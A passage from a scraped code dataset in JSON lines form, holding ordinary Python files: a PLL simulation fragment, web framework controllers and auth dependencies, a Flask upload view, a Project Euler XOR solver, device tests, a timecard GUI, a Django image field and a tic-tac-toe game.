signal.TransferFunction([c3*c4*r3*r4, (c3*r3)+(c4*r4)+(r3*c4), 1],[c3*c4*r4, c3+c4, 0])\ntmid = signal.TransferFunction(1, [c3*c4*r3*r4, (c3*r3)+(c4*r4)+(r3*c4), 1])\nvn1, carry1, zn1= signal.bode(z1, x_new)\nvn2, carry2, zn2= signal.bode(z2, x_new)\nvn3, carry3, zn3= signal.bode(tmid, x_new)\ntr2 = (carry3 * x_new * c2 * carry2) / (1 + x_new * [c2*r2 + c1*carry2 + c2*carry2] + x_new**2*c1*c2*r2*carry2)\ntr3 = (carry3*carry2)/(carry1+carry2)\ntr4 = (1 + x_new*c3*(r3+carry1)) / (1 + x_new*[(c3+c4)*(r3+carry1)+c4*r4] + x_new**2 * c3 * c4 * r4 * (r3+carry1))\nr2_noise = np.transpose(r_noise(v2, tr2))\nr3_noise = np.transpose(r_noise(v3, tr3))\nr4_noise = np.transpose(r_noise(v4, tr4))\nr_tot = 10*np.log10(10**(r2_noise/10) + 10**(r3_noise/10) + 10**(r4_noise/10))\n\n\n\n\n\n\n\n\n","repo_name":"jsochacki/simpyle_systems","sub_path":"linear_systems/PLL_Simulation.py","file_name":"PLL_Simulation.py","file_ext":"py","file_size_in_byte":6022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"25039632725","text":"from blacksheep import RoutesRegistry\nfrom blacksheep.server.openapi.v3 import OpenAPIHandler\n\nfrom app.settings import Settings\nfrom app.core.common.mediator import Mediator\nfrom .base import BaseController\nfrom .info import InfoController\nfrom .auth import AuthController\nfrom .users import UsersController\nfrom .grounds import GroundsController\nfrom .exc_handlers import ( # noqa\n validation_error_handler,\n auth_error_handler,\n)\n\n\ndef setup(\n route_registry: RoutesRegistry,\n settings: Settings,\n docs: OpenAPIHandler,\n mediator: Mediator,\n) -> None:\n\n controllers: list[BaseController] = [\n InfoController(\n router=route_registry,\n settings=settings,\n docs=docs,\n mediator=mediator,\n ),\n AuthController(\n router=route_registry,\n settings=settings,\n docs=docs,\n mediator=mediator,\n ),\n UsersController(\n router=route_registry,\n settings=settings,\n docs=docs,\n mediator=mediator,\n ),\n GroundsController(\n router=route_registry,\n settings=settings,\n docs=docs,\n mediator=mediator,\n ),\n ]\n for controller in controllers:\n controller.register()\n","repo_name":"neekrasov/workout_helper","sub_path":"app/presentation/api/controllers/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"34107477392","text":"\"\"\"\nФайл содержит скрипты представл��ний\n\"\"\"\nimport os\n\nfrom app import flask_app\nfrom flask import request, render_template, url_for, jsonify\nfrom werkzeug.utils import secure_filename\n\nfrom app.celery_run import celery_app\nfrom app.tasks import upload_from_link, upload_from_disk\nimport uuid\n\n\n@flask_app.route('/', methods=['GET'])\ndef index():\n \"\"\"\n Представление главной страницы\n\n :return: Главная страница с формой для загрузки файла\n \"\"\"\n if request.method == 'GET':\n return render_template('index.html')\n\n\n@flask_app.route('/uploadfile', methods=['POST'])\ndef uploadfile():\n \"\"\"\n Представление для начала загрузки файла. При нажатии на кнопку на главной странице\n отправляется запрос на данное представление. В зависимости от того, ввёл пользователь ссылку на файл\n или выбрал файл для загрузки в очередь Сelery добавляется соответствующая задача.\n\n :return: Возвращает статус 202 успешном добавлении задач в очередь\n \"\"\"\n\n file = request.files['file']\n # Если в форме нет файл, то запускается скачивание по ссылке\n if not file.filename:\n task = upload_from_link.delay(request.form['url_text'])\n else:\n\n filename = secure_filename(file.filename)\n # Сохранение файла на диск\n file_path = os.path.join(flask_app.config['UPLOAD_FOLDER'], filename + str(uuid.uuid4()))\n file.save(file_path)\n file.close()\n task = upload_from_disk.delay(file_path)\n return jsonify({}), 202, {'Location': url_for('taskstatus',\n task_id=task.id),\n 'err_message': ''}\n\n\n@flask_app.route('/status/')\ndef taskstatus(task_id):\n \"\"\"\n Представление по task_id определяет статус задачи и возвращает информацию о его состоянии\n\n :param guid task_id: Идентификатор задачи в celery.\n :return: JSON объект, содержащий информация о состоянии задачи\n \"\"\"\n task = celery_app.AsyncResult(task_id)\n # Задача в очереди\n if task.state == 'PENDING':\n response = {\n 'state': task.state,\n 'current': 0.5,\n 'total': 1,\n 'status': 'В очереди'\n }\n # Задача выполняется и из неё можно получить данные о процессе выполнения\n elif task.state != 'FAILURE':\n response = {\n 'state': task.state,\n 'current': task.info.get('current', 0),\n 'total': task.info.get('total', 1),\n 'status': task.info.get('status', '')\n }\n if 'result' in task.info:\n response['result'] = task.info['result']\n # Скрипт выполнения задачи вызвал исключение\n else:\n response = {\n 'state': task.state,\n 'current': 1,\n 'total': 1,\n 'status': str(task.info),\n }\n return jsonify(response)\n","repo_name":"kolotilko/csv_upload","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3521,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"5540113096","text":"# XOR decryption\n\nfrom statistics import mode\n\n\ntext = open('Solved/59.txt').read()\ncharacters = text.split(',')\n\ncommons = \" ea\"\nmode0 = int(mode([characters[i] for i in range(len(characters)) if i % 3 == 0]))\nmode1 = int(mode([characters[i] for i in range(len(characters)) if i % 3 == 1]))\nmode2 = int(mode([characters[i] for i in range(len(characters)) if i % 3 == 2]))\n\nkeys = []\nfor common0 in commons:\n for common1 in commons:\n for common2 in commons:\n char0 = chr(ord(common0) ^ mode0)\n char1 = chr(ord(common1) ^ mode1)\n char2 = chr(ord(common2) ^ mode2)\n keys.append(char0 + char1 + char2)\n\nfor key in keys:\n a = key[0]\n b = key[1]\n c = key[2]\n decrypt = ''\n bad = False\n for i in range(len(characters)):\n if i % 3 == 0:\n x = ord(a)\n elif i % 3 == 1:\n x = ord(b)\n else:\n x = ord(c)\n n = int(characters[i]) ^ x\n if 128 > n > 31:\n decrypt += chr(n)\n else:\n bad = True\n break\n if not bad:\n print(a+b+c+\":\", decrypt)\n print(sum(ord(char) for char in decrypt))\n print()\n","repo_name":"altith01/ProjectEuler","sub_path":"Solved/59.py","file_name":"59.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"36088815718","text":"import time\n\nimport epics\n\nfrom haven.instrument.energy_positioner import EnergyPositioner\n\n\ndef test_pseudo_to_real_positioner(ioc_mono, ioc_undulator):\n positioner = EnergyPositioner(\n name=\"energy\",\n mono_pv=ioc_mono.pvs[\"energy\"],\n id_prefix=ioc_undulator.prefix.strip(\":\"),\n id_tracking_pv=ioc_mono.pvs[\"id_tracking\"],\n id_offset_pv=ioc_mono.pvs[\"id_offset\"],\n )\n positioner.mono_energy.wait_for_connection()\n positioner.id_energy.wait_for_connection()\n positioner.energy.set(10000, timeout=5.0)\n assert positioner.get(use_monitor=False).mono_energy.user_setpoint == 10000\n positioner.id_offset.set(230)\n time.sleep(0.1)\n # Move the energy positioner\n positioner.energy.set(5000)\n time.sleep(0.1) # Caproto breaks pseudopositioner status\n # Check that the mono and ID are both moved\n assert positioner.get(use_monitor=False).mono_energy.user_setpoint == 5000\n expected_id_energy = 5.0 + positioner.id_offset.get(use_monitor=False) / 1000\n assert positioner.get(use_monitor=False).id_energy.setpoint == expected_id_energy\n\n\ndef test_real_to_pseudo_positioner(ioc_mono, ioc_undulator):\n positioner = EnergyPositioner(\n name=\"energy\",\n mono_pv=ioc_mono.pvs[\"energy\"],\n id_prefix=ioc_undulator.prefix.strip(\":\"),\n id_tracking_pv=ioc_mono.pvs[\"id_tracking\"],\n id_offset_pv=ioc_mono.pvs[\"id_offset\"],\n )\n positioner.wait_for_connection(timeout=10.0)\n # Move the mono energy positioner\n epics.caput(ioc_mono.pvs[\"energy\"], 5000.0)\n time.sleep(0.1) # Caproto breaks pseudopositioner status\n assert epics.caget(ioc_mono.pvs[\"energy\"], use_monitor=False) == 5000.0\n # assert epics.caget(\"mono_ioc:Energy.RBV\") == 5000.0\n # Check that the pseudo single is updated\n assert positioner.energy.get(use_monitor=False).readback == 5000.0\n","repo_name":"spc-group/haven","sub_path":"tests/test_energy_positioner.py","file_name":"test_energy_positioner.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"70615828692","text":"from typing import Optional\n\nfrom fastapi import Depends, HTTPException\nfrom fastapi.security import OAuth2PasswordBearer\nfrom jose import jwt\nfrom pydantic import ValidationError\nfrom sqlalchemy.ext.asyncio import AsyncSession as Session\n\nfrom app import database, model\nfrom app.core import security\nfrom app.core.config import configs\nfrom .db import get_db\n\nreusable_oauth2 = OAuth2PasswordBearer(tokenUrl=f\"{configs.API_V1_STR}/login/token\")\n\n# Define various access restrictions we can Depends() on later\n# Authenticated user\nasync def get_current_user(\n db: Session = Depends(get_db), token: str = Depends(reusable_oauth2)\n) -> database.User:\n try:\n payload = jwt.decode(token, configs.SECRET_KEY, algorithms=[security.ALGORITHM])\n token_data = model.TokenPayload(**payload)\n if not token_data.sub:\n raise jwt.JWTError\n except (jwt.JWTError, ValidationError):\n raise HTTPException(status_code=401, detail=\"Must be authenticated\")\n user = await database.user.get(db, id=token_data.sub)\n if not user:\n raise HTTPException(\n status_code=400, detail=\"Token does not point to a valid user\"\n )\n return user\n\n\n# Admin user\ndef get_admin_user(\n db: Session = Depends(get_db), user: database.User = Depends(get_current_user)\n) -> database.User:\n if not database.user.is_admin(db, user=user):\n raise HTTPException(\n status_code=403,\n detail=\"User does not have the required privileges to access this resource\",\n )\n return user\n\n\nclass Permission:\n permission: Optional[str]\n\n def __init__(self, permission: Optional[str] = None):\n self.permission = permission\n\n def __call__(self, user: database.User = Depends(get_current_user)):\n if not user:\n raise HTTPException(status_code=401, detail=\"Not authenticated\")\n if self.permission == \"admin\" and not user.is_admin:\n raise HTTPException(\n status_code=403,\n detail=\"User does not have the required privileges to access this resource\",\n )\n return user\n","repo_name":"accelleon/cloudmgmt","sub_path":"backend/app/app/api/core/security.py","file_name":"security.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"15952581381","text":"# https://leetcode.com/problems/complete-binary-tree-inserter\n\n# https://leetcode.com/problems/complete-binary-tree-inserter/solution\n\n\nfrom TreeNode import TreeNode\n\n# runtime; 720ms, 7.01%\n# memory; 13.2MB, 100.00%\nclass CBTInserter:\n\n def __init__(self, root):\n self.root = root\n\n def insert(self, v):\n q = [self.root]\n while q:\n node = q.pop(0)\n if node.left is None:\n node.left = TreeNode(v)\n return node.val\n elif node.right is None:\n node.right = TreeNode(v)\n return node.val\n if node.left:\n q.append(node.left)\n if node.right:\n q.append(node.right)\n return 0\n\n def get_root(self):\n return self.root\n\n\nc = CBTInserter(TreeNode(1))\nprint(c.insert(2))\nprint(c.get_root())\n\nroot = TreeNode(1)\nroot.left = TreeNode(2)\nroot.right = TreeNode(3)\nroot.left.left = TreeNode(4)\nroot.left.right = TreeNode(5)\nroot.right.left = TreeNode(6)\nc = CBTInserter(root)\nprint(c.insert(7))\nprint(c.insert(8))\nprint(c.get_root())\n","repo_name":"hyunjun/practice","sub_path":"python/problem-tree/complete_binary_tree_inserter.py","file_name":"complete_binary_tree_inserter.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"66"}
+{"seq_id":"22694334636","text":"import tkinter as tk\nimport timecard_helper as th\nimport datetime\n\n\ndef switch_time_left():\n \"\"\"\n Switch to the Time Left screen.\n \"\"\"\n time_left_frame.pack()\n time_left(time_left_frame)\n menu_frame.forget()\n\n\ndef switch_convert():\n \"\"\"\n Switch to the Convert screen\n \"\"\"\n convert_frame.pack()\n converter(convert_frame)\n menu_frame.forget()\n\n\ndef switch_scheduler():\n \"\"\"\n Switch to the Scheduler screen\n \"\"\"\n scheduler_frame.pack()\n scheduler(scheduler_frame)\n menu_frame.forget()\n\n\ndef switch_time_difference():\n \"\"\"\n Switch to the Time Difference screen\n \"\"\"\n time_difference_frame.pack(fill='x')\n time_difference(time_difference_frame)\n menu_frame.forget()\n\n\ndef switch_sr():\n \"\"\"\n Switch to the Scheduler screen for Thursday.\n \"\"\"\n sr_frame.pack()\n sr(sr_frame)\n scheduler_frame.forget()\n\n\ndef switch_sf():\n \"\"\"\n Switch for the Scheduler screen for Friday.\n \"\"\"\n sf_frame.pack()\n sf(sf_frame)\n scheduler_frame.forget()\n\n\ndef time_left(frame):\n \"\"\"\n Calculates the time left to work, given how many hours have been already worked.\n Assumes 40 hours a week.\n \"\"\"\n txt = tk.Message(frame, text=\"Calculate time left to work\", width=300)\n total_hours = 40.00\n\n def enter_click():\n this_week = float(hours.get())\n remaining = total_hours - this_week\n string = \"Hours left to work: \" + str(remaining)\n msg = tk.Message(frame, text=string, width=300)\n msg.pack()\n\n hours = tk.StringVar()\n textbox = tk.Entry(frame, textvariable=hours)\n ent = tk.Button(frame, text=\"Enter\", command=enter_click)\n\n txt.pack(side=tk.TOP)\n textbox.pack()\n ent.pack()\n\n\ndef converter(frame):\n \"\"\"\n The screen for converting minutes from a decimal.\n \"\"\"\n txt = tk.Message(frame, text=\"Calculate minutes from decimal\", width=300)\n\n def enter_click():\n time = float(entry.get())\n converted = th.convert_helper(time, 1)\n string = \"This is equivalent to \" + str(converted)\n msg = tk.Message(frame, text=string, width=300)\n msg.pack()\n\n entry = tk.StringVar()\n textbox = tk.Entry(frame, textvariable=entry)\n ent = tk.Button(frame, text=\"Enter\", command=enter_click)\n\n txt.pack(side=tk.TOP)\n textbox.pack()\n ent.pack()\n\n\ndef scheduler(frame):\n \"\"\"\n The starting screen for the Scheduler.\n \"\"\"\n txt1 = tk.Message(frame, text=\"Schedule the rest of the week\", width=300)\n txt2 = tk.Message(frame, text=\"Which day would you like to schedule?\", width=300)\n\n r_button = tk.Button(frame, text=\"Thursday\", command=switch_sr)\n f_button = tk.Button(frame, text=\"Friday\", command=switch_sf)\n\n txt1.pack(side=tk.TOP)\n txt2.pack(side=tk.TOP)\n r_button.pack(side=tk.LEFT)\n f_button.pack(side=tk.RIGHT)\n\n\ndef sr(frame):\n \"\"\"\n The scheduling screen for Thursday.\n \"\"\"\n txt1 = tk.Message(frame, text=\"How many hours have you worked so far?\", width=300)\n txt2 = tk.Message(frame, text=\"What time did you check in? (HH:MM) \", width=300)\n txt3 = tk.Message(frame, text=\"What time do you have to start on Friday? (HH:MM) \", width=300)\n var1 = tk.StringVar()\n var2 = tk.StringVar()\n var3 = tk.StringVar()\n\n def enter_click():\n sum = float(var1.get())\n checkin = var2.get()\n fri_start = var3.get()\n sum_format = th.convert_helper(sum, 2).split(\":\")\n sum_hours, sum_minutes = int(sum_format[0]), int(sum_format[1])\n fri_time = th.difference_helper(fri_start, \"15:00\") - datetime.timedelta(minutes=30)\n tot = datetime.timedelta(hours=sum_hours, minutes=sum_minutes) + fri_time\n left = datetime.timedelta(hours=40) - tot\n if int(checkin.split(\":\")[0]) < 11:\n left += datetime.timedelta(minutes=30)\n in_format = checkin.split(\":\")\n in_hours, in_minutes = int(in_format[0]), int(in_format[1])\n checkout = datetime.datetime(2022, 1, 1, in_hours, in_minutes) + left\n string = \"Check out today at {:d}:{:02d}\".format(checkout.hour, checkout.minute)\n msg = tk.Message(frame, text=string, width=300)\n msg.pack()\n\n textbox1 = tk.Entry(frame, textvariable=var1)\n textbox2 = tk.Entry(frame, textvariable=var2)\n textbox3 = tk.Entry(frame, textvariable=var3)\n ent = tk.Button(frame, text=\"Enter\", command=enter_click)\n\n txt1.pack()\n textbox1.pack()\n txt2.pack()\n textbox2.pack()\n txt3.pack()\n textbox3.pack()\n ent.pack()\n\n\ndef sf(frame):\n \"\"\"\n The scheduler screen for Friday.\n \"\"\"\n txt1 = tk.Message(frame, text=\"How many hours have you worked so far?\", width=300)\n txt2 = tk.Message(frame, text=\"What time did you check in? (HH:MM) \", width=300)\n txt3 = tk.Message(frame, text=\"What time do you want to check out today? (HH:MM) \", width=300)\n var1 = tk.StringVar()\n var2 = tk.StringVar()\n var3 = tk.StringVar()\n\n def enter_click():\n sum = float(var1.get())\n checkin = var2.get()\n checkout = var3.get()\n sum_format = th.convert_helper(sum, 2).split(\":\")\n sum_hours, sum_minutes = int(sum_format[0]), int(sum_format[1])\n today_hours = th.difference_helper(checkin, checkout)\n if int(checkin.split(\":\")[0]) < 11:\n # We have not eaten lunch yet, that will happen before our end time\n today_hours -= datetime.timedelta(minutes=30)\n tot = today_hours + datetime.timedelta(hours=sum_hours, minutes=sum_minutes)\n left = datetime.timedelta(hours=40) - tot + datetime.timedelta(minutes=30)\n fri_start = datetime.datetime(2022, 1, 1, 15, 0) - left\n string = \"Start on Friday at {:d}:{:02d}\".format(fri_start.hour, fri_start.minute)\n msg = tk.Message(frame, text=string)\n msg.pack()\n\n textbox1 = tk.Entry(frame, textvariable=var1)\n textbox2 = tk.Entry(frame, textvariable=var2)\n textbox3 = tk.Entry(frame, textvariable=var3)\n ent = tk.Button(frame, text=\"Enter\", command=enter_click)\n\n txt1.pack()\n textbox1.pack()\n txt2.pack()\n textbox2.pack()\n txt3.pack()\n textbox3.pack()\n ent.pack()\n\n\ndef time_difference(frame):\n \"\"\"\n The screen for finding the difference between two times.\n \"\"\"\n txt = tk.Message(frame, text=\"Find the difference between two times\", width=300)\n\n def enter_click():\n time1 = var1.get()\n time2 = var2.get()\n diff = th.difference_helper(time1, time2)\n string = \"The difference in these times is \" + str(diff)\n msg = tk.Message(frame, text=string, width=300)\n msg.pack()\n\n var1 = tk.StringVar()\n var2 = tk.StringVar()\n textbox1 = tk.Entry(frame, textvariable=var1)\n textbox2 = tk.Entry(frame, textvariable=var2)\n ent = tk.Button(frame, text=\"Enter\", command=enter_click)\n\n txt.pack(fill='x')\n textbox1.pack()\n textbox2.pack()\n ent.pack()\n\n\ndef make_menu(menu_frame):\n \"\"\"\n The menu screen.\n \"\"\"\n txt = tk.Message(menu_frame, text=\"Select an option:\", width=300, font=\"courier\")\n one = tk.Button(menu_frame, text=\"(1) How much time left? \", width=35, font=\"courier\", command=switch_time_left)\n two = tk.Button(menu_frame, text=\"(2) Scheduler \", width=35, font=\"courier\", command=switch_scheduler)\n thr = tk.Button(menu_frame, text=\"(3) Decimal to minute converter\", width=35, font=\"courier\", command=switch_convert)\n fou = tk.Button(menu_frame, text=\"(4) Time difference \", width=35, font=\"courier\", command=switch_time_difference)\n\n txt.pack(fill='x')\n one.pack(side=tk.TOP)\n two.pack(side=tk.TOP)\n thr.pack(side=tk.TOP)\n fou.pack(side=tk.TOP)\n\n\n# Set up the window\nwin = tk.Tk()\nwin.title(\"Timecard Helper\")\nwin.geometry(\"700x500\")\n\n# Create all the frames used throughout the application\nmenu_frame = tk.Frame(win)\ntime_left_frame = tk.Frame(win)\nconvert_frame = tk.Frame(win)\ntime_difference_frame = tk.Frame(win)\nscheduler_frame = tk.Frame(win)\nsr_frame = tk.Frame(win)\nsf_frame = tk.Frame(win)\n\n\nmenu_frame.pack(fill='x')\nmake_menu(menu_frame)\n\nwin.mainloop()\n\n","repo_name":"k-lea/timecard-helper","sub_path":"timecard_gui.py","file_name":"timecard_gui.py","file_ext":"py","file_size_in_byte":8101,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"11442454754","text":"from django.db.models import ImageField\nfrom uuid import uuid4\nfrom snippet_image import create_snippet_image\n\nfrom .attributes import Attributes\n\n\nclass BaseSnippetImageFieldMixin:\n method_prefix = 'get_snippet_image'\n snippet_type = 'default'\n kwargs = {}\n should_be_created_method = 'snippet_image_should_be_created'\n\n def extract_specific_kwargs(self, kwargs):\n return self.extract_kwargs(kwargs, Attributes)\n\n @staticmethod\n def extract_kwargs(kwargs, attributes):\n \"\"\"\n Extract filled attributes from kwargs.\n\n :param kwargs: The dictionary from which attributes will be extracted.\n :type kwargs: dict\n :param attributes: The enumerate of attributes that will be retrieved from the dictionary.\n :type attributes: Enum\n\n :return: extracted kwargs.\n :rtype: dict\n \"\"\"\n extracted_kwargs = {}\n for attribute in attributes:\n if kwargs.get(attribute.name):\n extracted_kwargs[attribute.name] = kwargs.pop(attribute.name)\n\n return extracted_kwargs\n\n def should_be_created(self, instance):\n method = getattr(instance, self.should_be_created_method, None)\n return method() if method else True\n\n @staticmethod\n def get_file_name():\n return '{}.jpeg'.format(str(uuid4()))\n\n def collect_data(self, instance):\n data = {\n attribute.name: self.get_attribute_value(instance, attribute) for attribute in Attributes\n }\n\n return data\n\n def get_attribute_value(self, instance, attribute):\n attribute_name = attribute.name\n value = self.get_attribute_from_kwargs(attribute_name)\n\n if not value:\n value = self.get_attribute_from_instance(instance, attribute_name)\n\n if not value:\n value = attribute.value.default\n\n self.validate_attribute(attribute, value)\n\n return value\n\n @staticmethod\n def validate_attribute(attribute, value):\n try:\n attribute.value.validate(value)\n except ValueError as error:\n raise ValueError('Validation error for attribute {}: {}'.format(attribute.name, str(error)))\n\n def get_attribute_from_kwargs(self, attribute_name):\n return self.kwargs.get(attribute_name)\n\n def get_attribute_from_instance(self, instance, attribute_name):\n method_name = '{}_{}'.format(self.method_prefix, attribute_name)\n method = getattr(instance, method_name, None)\n if method:\n value = method(self.snippet_type)\n else:\n value = None\n\n return value\n\n @staticmethod\n def create_snippet_image(data):\n return create_snippet_image(**data)\n\n def get_specific_deconstruct_kwargs(self):\n kwargs = {\n attribute.name: self.kwargs.get(attribute.name)\n for attribute in Attributes\n if not self.kwargs.get(attribute.name) is None\n }\n kwargs['snippet_type'] = self.snippet_type\n\n return kwargs\n\n\nclass SnippetImageField(BaseSnippetImageFieldMixin, ImageField):\n def __init__(\n self,\n snippet_type='default',\n **kwargs\n ):\n \"\"\"\n\n :param snippet_type (str): To collect different data for different fields.\n For example value: 'facebook', 'twitter' and etc.\n :param kwargs: snippet_image.create_snippet_image and ImageField params.\n If create_snippet_image parameter was not set in the constructor,\n it will be taken from the method get_snippet_image_{param} of instance or default settings.\n create_snippet_image:\n :param font: Path to font file. Is required. For load font used PIL.ImageFont.\n :type font: str\n :param size: Size of snippet image. tuple(width, height).\n :type size: tuple(int, int)\n :param text: Text of snippet image. By default is an empty string.\n :type text: str\n :param background: Path to background image file.\n :type background: str\n :param background_color: Background color of snippet image. Used when background is None.\n :type background_color: tuple(int, int, int)\n :param overlay: Path to overlay image. if size is None, overlay size is used.\n As an overlay, an image with a transparent background is used.\n :type overlay: str\n :param brightness: Brightness of background of snippet image. Value from 0 to 1.\n :type brightness: float\n :param font_color: Font color in RGBA. By default is (255, 255, 255, 255).\n :type font_color: tuple(int, int, int, int)\n :param font_size: Size of snippet image text. By default is 64.\n :type font_size: int\n :param padding: Text indents to the left and right of the snippet image.\n Value from 0 to 1.\n 0 - 0% width;\n 1 - 100% width.\n :type padding: float\n :param center : Background image center for crop and resize image. tuple(x, y).\n Defaults is center of background image.\n :type center: tuple(int, int)\n\n ImageField params:\n :param verbose_name:\n :param name:\n :param width_field:\n :param height_field:\n :param upload_to:\n :param storage:\n \"\"\"\n self.snippet_type = snippet_type\n self.kwargs = self.extract_specific_kwargs(kwargs)\n kwargs['blank'] = True\n super().__init__(**kwargs)\n\n def pre_save(self, instance, add):\n file = getattr(instance, self.attname)\n\n if (not file or not file.file) and self.should_be_created(instance):\n file_name = self.get_file_name()\n data = self.collect_data(instance)\n image = self.create_snippet_image(data)\n file.save(file_name, image, save=False)\n elif not file._committed:\n file.save(file.name, file.file, save=False)\n\n return file\n\n def deconstruct(self):\n name, path, args, kwargs = super().deconstruct()\n\n specific_attributes_values = self.get_specific_deconstruct_kwargs()\n kwargs.update(specific_attributes_values)\n\n return name, path, args, kwargs\n","repo_name":"acrius/django-snippet-image","sub_path":"django_snippet_image/fields.py","file_name":"fields.py","file_ext":"py","file_size_in_byte":6561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"14383974992","text":"'''\n Text Based 2-Player Tic Tac Toe Game\n '''\n\nimport random\n\n''' Tic Tac Toe Game Structure '''\n# Step 1 -: Create a function that would list the instructions of the game\n# Step 2 -: Create a function that would display the board\n# Step 3 -: Create a function to allow players to choose between X and O\n# Step 4 -: Create a game environment that continues to play the game until there's a winner or all spaces are filled\n# Step 5 -: Create a function or logic flow with data validation that allows players to make moves on the board\n# Step 6 -: Create a function or conditional logic that checks win for X or O\n# Step 7 -: If there is a winner display the player who won the game\n# Step 8 -: Ask if the user wants to play game. If yes, repeat the game from the beginning, else, end the game.\n\ndef instructions():\n # A function that would list the instructions of the game\n\n print('Tic Tac Toe \\n')\n print('How to play: ')\n print('1.) Both players will choose whether to be \"X\" or \"O\" ')\n print('2.) To even the odds of winning, players will be randomly chosen to start ')\n print('3. On the board, players can choose the position with numbers from 1-9')\n print('3.) The first player to achieve a straight, horizontal, or vertical wins the game')\n print('4.) If players want to play again, press \"Y\" at the end of each game, or press \"N\" to end the game \\n')\n\n print('Each position on the board is based on a numerical position from 1-9 \\n')\n print(f' {1} | {2} | {3} ')\n print('---------------')\n print(f' {4} | {5} | {6} ')\n print('---------------')\n print(f' {7} | {8} | {9} ')\n print('')\n\ndef display_board(list):\n # A function that displays the board after each move\n\n print(list[0],' | ',list[1],' | ',list[2])\n print('---------------')\n print(list[3],' | ',list[4],' | ',list[5])\n print('---------------')\n print(list[6],' | ', list[7],' | ',list[8])\n print('')\n\ndef player_choice():\n # A function that allows players to choose between X and O with data validation\n\n while True:\n player1 = input('Please choose between \"X\" or \"O\": ').upper()\n print(\"\")\n\n if player1.upper() == \"X\" or player1.upper() == \"O\":\n print(f'Player 1 is {player1}')\n break\n\n else:\n print('Invalid entry. Please choose between \"X\" and \"O\" ')\n print(\"\")\n\n return player1\n\n\ndef check_winner(list):\n ''' Checks for winners for X and O '''\n\n # Diagonal Checks for X\n if list[0].upper() == 'X' and list[4].upper() == 'X' and list[8].upper() == 'X':\n return 'X has won'\n\n elif list[2].upper() == 'X' and list[4].upper() == 'X' and list[6].upper() == 'X':\n return 'X has won'\n\n # Vertical Checks for X\n\n elif list[0].upper() == 'X' and list[3].upper() == 'X' and list[6].upper() == 'X':\n return 'X has won'\n\n elif list[1].upper() == 'X' and list[4].upper() == 'X' and list[7].upper() == 'X':\n return 'X has won'\n\n\n elif list[2].upper() == 'X' and list[5].upper() == 'X' and list[8].upper() == 'X':\n return 'X has won'\n\n\n # Horizontal Checks for X\n\n elif list[0].upper() == 'X' and list[1].upper() == 'X' and list[2].upper() == 'X':\n return 'X has won'\n\n\n elif list[3].upper() == 'X' and list[4].upper() == 'X' and list[5].upper() == 'X':\n return 'X has won'\n\n elif list[6].upper() == 'X' and list[7].upper() == 'X' and list[8].upper() == 'X':\n return 'X has won'\n\n ''' Check for O wins '''\n\n # Diagonal Checks for O\n if list[0].upper() == 'O' and list[4].upper() == 'O' and list[8].upper() == 'O':\n return 'O has won'\n\n elif list[2].upper() == 'O' and list[4].upper() == 'O' and list[6].upper() == 'O':\n return 'O has won'\n\n\n # Vertical Checks for O\n\n elif list[0].upper() == 'O' and list[3].upper() == 'O' and list[6].upper() == 'O':\n return 'O has won'\n\n elif list[1].upper() == 'O' and list[4].upper() == 'O' and list[7].upper() == 'O':\n return 'O has won'\n\n elif list[2].upper() == 'O' and list[5].upper() == 'O' and list[8].upper() == 'O':\n return 'O has won'\n\n\n # Horizontal Checks for O\n\n elif list[0].upper() == 'O' and list[1].upper() == 'O' and list[2].upper() == 'O':\n return 'O has won'\n\n elif list[3].upper() == 'O' and list[4].upper() == 'O' and list[5].upper() == 'O':\n return 'O has won'\n\n elif list[6].upper() == 'O' and list[7].upper() == 'O' and list[8].upper() == 'O':\n return 'O has won'\n\n\ndef play_game():\n # A function with logic flow and data validation that allows players to make moves on the board\n\n moves_list = ['','','','','','','','','']\n move_range = [1,2,3,4,5,6,7,8,9]\n player1 = player_choice()\n\n if player1.upper() == 'X':\n player2 = 'O'\n print(f'Player 2 is {player2}\\n')\n\n elif player1.upper() == 'O':\n player2 = 'X'\n print(f'Player 2 is {player2}\\n')\n\n move_count = 0\n\n player_select = [player1,player2]\n random.shuffle(player_select)\n\n if player_select[0].upper() == player1:\n print(f'Player 1 ({player1}) to start\\n')\n\n elif player_select[0].upper() == player2:\n print(f'Player 2 ({player2}) to start\\n')\n\n display_board(moves_list)\n\n game_over = ''\n\n # Start the Game\n while move_count != 9:\n\n while True:\n # Player 1 / First Move\n player_move = input(f'({player_select[0]}) Please enter a position on the board (1-9): ')\n print('')\n\n if player_move.isdigit() == True:\n\n player_move = int(player_move)\n\n if player_move in move_range and moves_list[player_move - 1] == '':\n moves_list[player_move-1] = player_select[0]\n display_board(moves_list)\n move_count += 1\n game_over = check_winner(moves_list)\n break\n\n elif player_move in move_range and moves_list[player_move - 1] != '':\n # Stops players from choosing the same position\n print('This position is already taken. Please try again.\\n')\n continue\n\n else:\n print('Please choose a position between 1-9 \\n')\n continue\n\n else:\n print('That is an invalid entry. Please try again \\n')\n continue\n\n\n if str(game_over) == f'{player_select[0]} has won':\n print(game_over + '\\n')\n move_count = 9\n break\n\n elif game_over == f'{player_select[0]} has won' and move_count == 9:\n print(\"It's a draw \\n\")\n\n while move_count != 9:\n # Player 2 / Second Move\n game_over = str(check_winner(moves_list))\n\n\n player_move = input(f'({player_select[1]}) Please enter a position on the board (1-9): ')\n print('')\n\n if player_move.isdigit() == True:\n player_move = int(player_move)\n\n\n if player_move in move_range and moves_list[player_move - 1] == '':\n moves_list[player_move-1] = player_select[1]\n 